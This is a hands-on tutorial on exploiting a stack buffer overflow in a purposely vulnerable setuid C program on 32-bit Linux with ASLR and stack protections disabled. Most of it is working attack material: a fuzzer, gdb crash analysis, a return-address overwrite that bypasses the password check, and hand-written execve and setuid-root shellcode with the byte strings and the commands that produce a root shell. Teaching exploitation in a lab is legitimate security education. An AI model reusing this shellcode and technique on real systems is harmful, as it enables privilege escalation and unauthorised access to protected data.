Plain Buffer Overflow

Comments

This is the start of a series of tutorials exploring how to detect and exploit stack based vulnerabilities on x86-32 Linux systems. As this is the first it will involve detecting and exploiting a buffer overflow on a system with no protections in place. Modern protections will be explored in future tutorials but its important to understand the basics before trying to take on the more complex situations.

A buffer overflow happens when a programmer has not done sufficient bounds checking while or before copying the contents of one buffer into another. A buffer is normally a variable array (stack) or memory allocated using a dynamic memory allocation function (heap). We will be concentrating on stack based (variable array) buffer overflows at first as they are much easier to understand for beginners.

All of the code in this tutorial was written by the author.

The Vulnerable App

Below is the source code of the vulnerable application that we will be attacking. It is written in C.

app.clink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define PASS "topsecretpassword"

#define SFILE "secret.txt"

int checkpass(char *p);
void printfile();

int main(int argc, char **argv)
{
  int r;

  if (argc < 2) {
      printf("Usage: ");
      printf(argv[0]);
      printf(" <password>\n");
      exit(1);
  }
  r = checkpass(argv[1]);
  if (r != 0) {
      printf("Wrong password: ");
      printf(argv[1]);
      printf("\n");
      exit(1);
  }
  printfile();
}

int checkpass(char *a)
{
  char p[512];
  int r;
  strncpy(p, a, strlen(a)+1);
  r = strcmp(p, PASS);
  return r;
}

void printfile()
{
  FILE *f;
  int c;
  f = fopen(SFILE, "r");
  if (f) {
      while ((c = getc(f)) != EOF)
          putchar(c);
      fclose(f);
  } else {
      printf("Error opening file: " SFILE "\n");
      exit(1);
  }
}

The Fix

The code in the above application that is vulnerable to a stack based buffer overflow is on line 36 (strncpy(p, a, strlen(a)+1);). Here the programmer has wrongly calculated the maximum number of bytes that can be copied into the buffer p as strlen(a)+1, this calculation is in fact based on the length of the input provided by the user and is controled by the user. To fix this vulnerability, this line should be changed to strncpy(p, a, sizeof(p)-1); or strncpy(p, a, 511);, we minus the 1 byte to leave space for the terminating null character ‘\0’. For more information about strncpy see man strncpy.

Setting Up The Environment

This is how to setup the environment in full on a Debian based system:

environment setup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
[email protected]:~# adduser testuser
Adding user `testuser' ...
Adding new group `testuser' (1001) ...
Adding new user `testuser' (1001) with group `testuser' ...
Creating home directory `/home/testuser' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for testuser
Enter the new value, or press ENTER for the default
 Full Name []: 
 Room Number []: 
 Work Phone []: 
 Home Phone []: 
 Other []: 
Is the information correct? [Y/n]
[email protected]:~# ls
app.c
[email protected]:~# gcc -z execstack -fno-stack-protector -o app app.c
[email protected]:~# cp app /home/testuser/
[email protected]:~# cat /proc/sys/kernel/randomize_va_space
2
[email protected]:~# echo 0 > /proc/sys/kernel/randomize_va_space
[email protected]:~# cat /proc/sys/kernel/randomize_va_space
0
[email protected]:~# cd /home/testuser/
[email protected]:/home/testuser# ls -l app
-rwxr-xr-x 1 root root 6242 Apr 17 16:48 app
[email protected]:/home/testuser# chmod u+s app
[email protected]:/home/testuser# ls -l app
-rwsr-xr-x 1 root root 6242 Apr 17 16:48 app
[email protected]:/home/testuser# echo 'This is a top secret file!
> Only people with the password should be able to view this file!' > secret.txt
[email protected]:/home/testuser# ls -l secret.txt
-rw-r--r-- 1 root root 91 May  9 13:40 secret.txt
[email protected]:/home/testuser# chmod 600 secret.txt
[email protected]:/home/testuser# ls -l secret.txt
-rw------- 1 root root 91 May  9 13:40 secret.txt
[email protected]:/home/testuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!
[email protected]:/home/testuser# su - testuser
[email protected]:~$ ls -l app
-rwsr-xr-x 1 root root 6242 Apr 17 16:48 app
[email protected]:~$ ls -l secret.txt
-rw------- 1 root root 91 May  9 13:40 secret.txt
[email protected]:~$ cat secret.txt
cat: secret.txt: Permission denied

So our environment is setup and ready for exploit development. Firstly a testuser is added to run the application as, then on line 20 the application is compiled with stack protections removed. On line 24 ASLR is disabled and on line 30 the application has the setuid bit set so that when run the application can run with root privileges (which is required to read the file created on lines 33 and 34). Lastly confirmation that the file is not readable by the user that runs the application is on lines 48 and 49.

Testing The App / Finding The Vulnerability

First we need to use the application to figure out its inputs and see how the application acts normally:

using the application
1
2
3
4
5
6
[email protected]:~$ ./app
Usage: ./app <password>
[email protected]:~$ ./app test
Wrong password: test
[email protected]:~$ echo $?
1

As we can see, when we enter the wrong password the applications exit code is 1, let’s try fuzzing this input to look for a buffer overflow, here is a simple python script that can do that:

app-fuzz.pylink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python

import os
from subprocess import Popen, PIPE

count=0 # store the number when we cause a crash

for i in range(5000): # loop through the numbers from 0 to 5000
                      # and use i as the incrementor

        # execute the file ./app with the argument "A"*i so we keep
        # increasing the number of A's by 1
        process = Popen(["./app", "A"*i], stdin=PIPE, stdout=PIPE)
        (output, err) = process.communicate()

        exit_code = process.wait() # wait for the programs exit code
        if exit_code != 1: # if its not = 1
                count = i # set the count to i
                break # and break out of the loop


print count # print the number of A's it took to crash it

Running the python script gives us:

fuzzing the application
1
2
[email protected]:~$ python app-fuzz.py
524

Exploiting The App

So the python script crashed the application by inserting 524 A’s as its input. Just because we crashed the application it doesn’t mean we took control of the applications execution, so we now need to figure out how many bytes we need to send before we hijack execution (one character is a single byte, so 524 A’s is 524 bytes).

We will use gdb to do this. The hex for A is 41, you can figure this out using the ascii man page (man ascii), so what we are looking for is when the application crashes it should be trying to run 41414141 (as this is a 32 bit system, each instruction is 32 bits long or 4 bytes):

debugging the crash and hijacking execution
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[email protected]:~$ gdb -q ./app
Reading symbols from /home/testuser/app...(no debugging symbols found)...done.
(gdb) r $(python -c 'print "A" * 524')
Starting program: /home/testuser/app $(python -c 'print "A" * 524')
 
Program received signal SIGSEGV, Segmentation fault.
0xb7ed9d03 in strchrnul () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) r $(python -c 'print "A" * 528')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app $(python -c 'print "A" * 528')
 
Program received signal SIGSEGV, Segmentation fault.
0xbffff970 in ?? ()
(gdb) r $(python -c 'print "A" * 532')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/testuser/app $(python -c 'print "A" * 532')
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

We increase the number of bytes by 4 each time because we are on a 32 bit system. So 528 bytes and then we hijack execution, you can see this as when the application crashes the instruction that the application is trying to run is 0x41414141 (on line 21) which is just AAAA.

I’m going to show you 2 ways you can exploit this, the first is very easy and just involves changing the flow of the application to bypass the password authentication. First we need to find the address of the code that is run after the check, again we’ll use gdb for this:

finding the address to jump to
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
[email protected]:~$ gdb -q ./app
Reading symbols from /home/testuser/app...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804860c <+0>:     push   ebp
   0x0804860d <+1>:     mov    ebp,esp
   0x0804860f <+3>:     and    esp,0xfffffff0
   0x08048612 <+6>:     sub    esp,0x20
   0x08048615 <+9>:     cmp    DWORD PTR [ebp+0x8],0x1
   0x08048619 <+13>:    jg     0x804864c <main+64>
   0x0804861b <+15>:    mov    DWORD PTR [esp],0x80487f0
   0x08048622 <+22>:    call   0x8048470 <[email protected]>
   0x08048627 <+27>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804862a <+30>:    mov    eax,DWORD PTR [eax]
   0x0804862c <+32>:    mov    DWORD PTR [esp],eax
   0x0804862f <+35>:    call   0x8048470 <[email protected]>
   0x08048634 <+40>:    mov    DWORD PTR [esp],0x80487f8
   0x0804863b <+47>:    call   0x80484a0 <[email protected]>
   0x08048640 <+52>:    mov    DWORD PTR [esp],0x1
   0x08048647 <+59>:    call   0x80484c0 <[email protected]>
   0x0804864c <+64>:    mov    eax,DWORD PTR [ebp+0xc]
   0x0804864f <+67>:    add    eax,0x4
   0x08048652 <+70>:    mov    eax,DWORD PTR [eax]
   0x08048654 <+72>:    mov    DWORD PTR [esp],eax
   0x08048657 <+75>:    call   0x80486a2 <checkpass>
   0x0804865c <+80>:    mov    DWORD PTR [esp+0x1c],eax
   0x08048660 <+84>:    cmp    DWORD PTR [esp+0x1c],0x0
   0x08048665 <+89>:    je     0x804869b <main+143>
   0x08048667 <+91>:    mov    DWORD PTR [esp],0x8048804
   0x0804866e <+98>:    call   0x8048470 <[email protected]>
   0x08048673 <+103>:   mov    eax,DWORD PTR [ebp+0xc]
   0x08048676 <+106>:   add    eax,0x4
   0x08048679 <+109>:   mov    eax,DWORD PTR [eax]
   0x0804867b <+111>:   mov    DWORD PTR [esp],eax
   0x0804867e <+114>:   call   0x8048470 <[email protected]>
   0x08048683 <+119>:   mov    DWORD PTR [esp],0xa
   0x0804868a <+126>:   call   0x8048500 <[email protected]>
   0x0804868f <+131>:   mov    DWORD PTR [esp],0x1
   0x08048696 <+138>:   call   0x80484c0 <[email protected]>
   0x0804869b <+143>:   call   0x80486f0 <printfile>
   0x080486a0 <+148>:   leave  
   0x080486a1 <+149>:   ret    
End of assembler dump.

I use the -q option to gdb to supress the informational message that it normally splits out on started, I then set the disassembly flavor to intel format because gdb defaults to AT&T format and I prefer intel.

The call to printfile on line 41 looks like a good choice to jump to and as we can see it is at address 0x0804869b. All we need to do is put this address in, in reverse due to little endian, after 528 bytes, heres how:

changing the flow of the application to bypass the authentication process
1
2
3
4
[email protected]:~$ ./app $(python -c 'print "A" * 528 + "\x9b\x86\x04\x08"')
This is a top secret file!
Only people with the password should be able to view this file!
Segmentation fault

We still get a segmentation fault but it outputs the contents of the file meaning we’ve circumvented the password protection.

Developing Shellcode / Improving Exploitation

Now I’m going to show you how to use this to run your own code as root. First we need some code to run. I’ve written a quick assembly application in IA32 format which just runs the execve system call with /bin/bash as its argument (for more information on execve itself see man execve):

shell.nasmlink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
; run /bin/bash

global _start

section .text

_start:
        jmp short Call_shellcode ; jump to where our string is

shellcode:
        pop ebx ; pop the address of our string into ebx
                ; which is the first argument to execve

        xor eax, eax ; zero out the eax register

        mov [ebx +9], al ; put a 0 where the A is to null
                         ; terminate the /bin/bash string

        mov al, 0xb ; put the sys call number 11 into eax

        mov [ebx +10], ebx ; put a pointer to the beginning
                           ; of the string where the BBBB is

        xor ecx, ecx ; zero out the ecx register

        mov [ebx +14], ecx ; replace the CCCC with 0000

        lea ecx, [ebx +10] ; load the address that used to
                           ; point to BBBB into ecx the second
                           ; argument to execve

        lea edx, [ebx +14] ; load the address that used to
                           ; point to CCCC into edx the third
                           ; argument to execve

        int 0x80 ; execute the syscall execve

Call_shellcode:
        call shellcode ; call the start of the actual application
        shell: db       "/bin/bashABBBBCCCC" ; our string of
                                             ; arguments to execve

A system call works by loading the sys call number into the eax register, putting the 1st, 2nd and 3rd arguments into the ebx, ecx, edx registers respectively; and then running int 0x80 to execute the system call. To find the sys call number do this:

finding the sys call number of execve
1
2
[email protected]:~$ grep execve /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_execve 11

This means execve is 11 or 0xb in hex.

In this shellcode I’m using the jmp-call-pop technique to get the address of the string and the list of arguments (When you do a call instruction, the address of the next instruction is pushed onto the stack), this makes the code position independent. So we now need to extract this shellcode:

assembling, linking and retrieving the shellcode
1
2
3
4
[email protected]:~$ nasm -f elf32 -o shell.o shell.nasm
[email protected]:~$ ld -o shell shell.o
[email protected]:~$ objdump -d ./shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x18\x5b\x31\xc0\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"

We have shellcode now but we should test it to make sure it works, the following C application can do that:

shellcode.clink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x18\x5b\x31\xc0\x88\x43\x09\xb0\x0b\x89\x5b"
"\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e"
"\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f"
\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";

main()
{

        printf("Shellcode Length:  %d\n", strlen(code));

        int (*ret)() = (int(*)())code;

        ret();

}

I’ve split it up onto multiple lines here for readability. Compiling it and running it:

compiling and running the shellcode testing application
1
2
3
4
[email protected]:~$ gcc -z execstack -o shellcode shellcode.c
[email protected]:~$ ./shellcode
Shellcode Length:  49
[email protected]:/home/testuser$

It worked, the application shellcode just sets the return value of the main function to the address of the beginning of our shellcode which run’s it because you can’t just run it manually:

running the raw shellcode binary
1
2
[email protected]:~$ ./shell
Segmentation fault

Now we need to figure out a way to put our shellcode in memory and find its address to hijack execution of our vulnerable application with. We can put it in an environment varable and use getenv to get its address, here is how we put it into an environment variable:

putting the shellcode into an environment variable
1
[email protected]:~$ export SHELLCODE=$(python -c 'print "\x90" * 500 + "\xeb\x18\x5b\x31\xc0\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"')

Here is another C application that we can use to get the address of an environment variable in the memory of another application:

getenvaddr.clink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
        char *ptr;

        if(argc < 3) {
                printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
                exit(0);
        }
        ptr = getenv(argv[1]); /* get env var location */
        ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
        printf("%s will be at %p\n", argv[1], ptr);
}

We compile this application and run it with the relevent arguments:

get the location in memory of our environment variable
1
2
3
[email protected]:~$ gcc -o getenvaddr getenvaddr.c
[email protected]:~$ ./getenvaddr SHELLCODE ./app
SHELLCODE will be at 0xbffff774

Great! Nearly there, we’ve got the address of our shellcode now to use it. We will hijack the execution flow as we did before but this time we will point to the address of our environment variable:

trying our exploit
1
2
3
4
5
[email protected]:~$ ./app $(python -c 'print "A" * 528 + "\x74\xf7\xff\xbf"')
bash-4.2$ whoami
testuser
bash-4.2$ cat secret.txt
cat: secret.txt: Permission denied

Damn! So it didn’t work. It must be dropping privileges, no need to worry, but we now to to change our shellcode to run the setuid system call before executing execve and set the uid to 0 (or root) (for more information on setuid see man setuid). First we need to find out the sys call number:

finding the setuid sys call number
1
2
3
[email protected]:~$ grep setuid /usr/include/i386-linux-gnu/asm/unistd_32.h
#define __NR_setuid 23
#define __NR_setuid32 213

The sys call number is 23 or 0x17 in hex, our modified shellcode is:

shell2.nasmlink
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
; run /bin/bash

global _start

section .text

_start:
        jmp short Call_shellcode ; jump to where our string is

shellcode:
        xor eax, eax ; zero out eax

        mov al, 0x17 ; put 23 into eax to setuid

        xor ebx, ebx ; zero out ebx

        int 0x80 ; make the syscall setuid

        mov eax, ebx ; zero out eax

        pop ebx ; pop the address of our string into ebx
                ; which is the first argument to execve

        mov [ebx +9], al ; put a 0 where the A is to null
                         ; terminate the /bin/bash string

        mov al, 0xb ; put the sys call number 11 into eax

        mov [ebx +10], ebx ; put a pointer to the beginning
                           ; of the string where the BBBB is

        xor ecx, ecx ; zero out the ecx register

        mov [ebx +14], ecx ; replace the CCCC with 0000

        lea ecx, [ebx +10] ; load the address that used to
                           ; point to BBBB into ecx the second
                           ; argument to execve

        lea edx, [ebx +14] ; load the address that used to
                           ; point to CCCC into edx the third
                           ; argument to execve

        int 0x80 ; execute the syscall execve

Call_shellcode:
        call shellcode ; call the start of the actual application
        shell: db       "/bin/bashABBBBCCCC" ; our string of
                                             ; arguments to execve

This is the same as before except I added a call to setuid before it starts setting up the call to execve. Let’s first make sure it works:

testing our new shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:~$ nasm -f elf32 -o shell2.o shell2.nasm
[email protected]:~$ ld -o shell2 shell2.o
[email protected]:~$ objdump -d ./shell2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
[email protected]:~$ cat shellcode.c
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43";
 
main()
{
 
        printf("Shellcode Length:  %d\n", strlen(code));
 
        int (*ret)() = (int(*)())code;
 
        ret();
 
}
[email protected]:~$ gcc -z execstack -o shellcode shellcode.c
[email protected]:~$ ./shellcode
Shellcode Length:  57
[email protected]:/home/testuser$

That seems to work, let’s test it out:

testing our new exploit
1
2
3
4
5
6
7
8
9
[email protected]:~$ export SHELLCODE=$(python -c 'print "\x90" * 500 + "\xeb\x20\x31\xc0\xb0\x17\x31\xdb\xcd\x80\x89\xd8\x5b\x88\x43\x09\xb0\x0b\x89\x5b\x0a\x31\xc9\x89\x4b\x0e\x8d\x4b\x0a\x8d\x53\x0e\xcd\x80\xe8\xdb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"')
[email protected]:~$ ./getenvaddr SHELLCODE ./app
SHELLCODE will be at 0xbffff76c
[email protected]:~$ ./app $(python -c 'print "A" * 528 + "\x6c\xf7\xff\xbf"')
[email protected]:/home/testuser# whoami
root
[email protected]:/home/testuser# cat secret.txt
This is a top secret file!
Only people with the password should be able to view this file!

PWNED!!! :-D

Conclusion

It’s very important to understand that when you are developing exploits you are always going to run into problems, that is why I left the bit in here where I didn’t get root access. You will fail over and over again but if you continue trying you will find a way to hack it in the end.

This was one of the simplest examples possible but before continuing it is important that you are able to do this. Don’t worry if you don’t understand how the application execution was hijacked or how the stack works, I will explain all of that in later tutorials when it is absolutely necessary, this tutorial is already long enough without going into more depth.

I hope you enjoyed reading this as much as I enjoyed writing it.

Happy Hacking :–)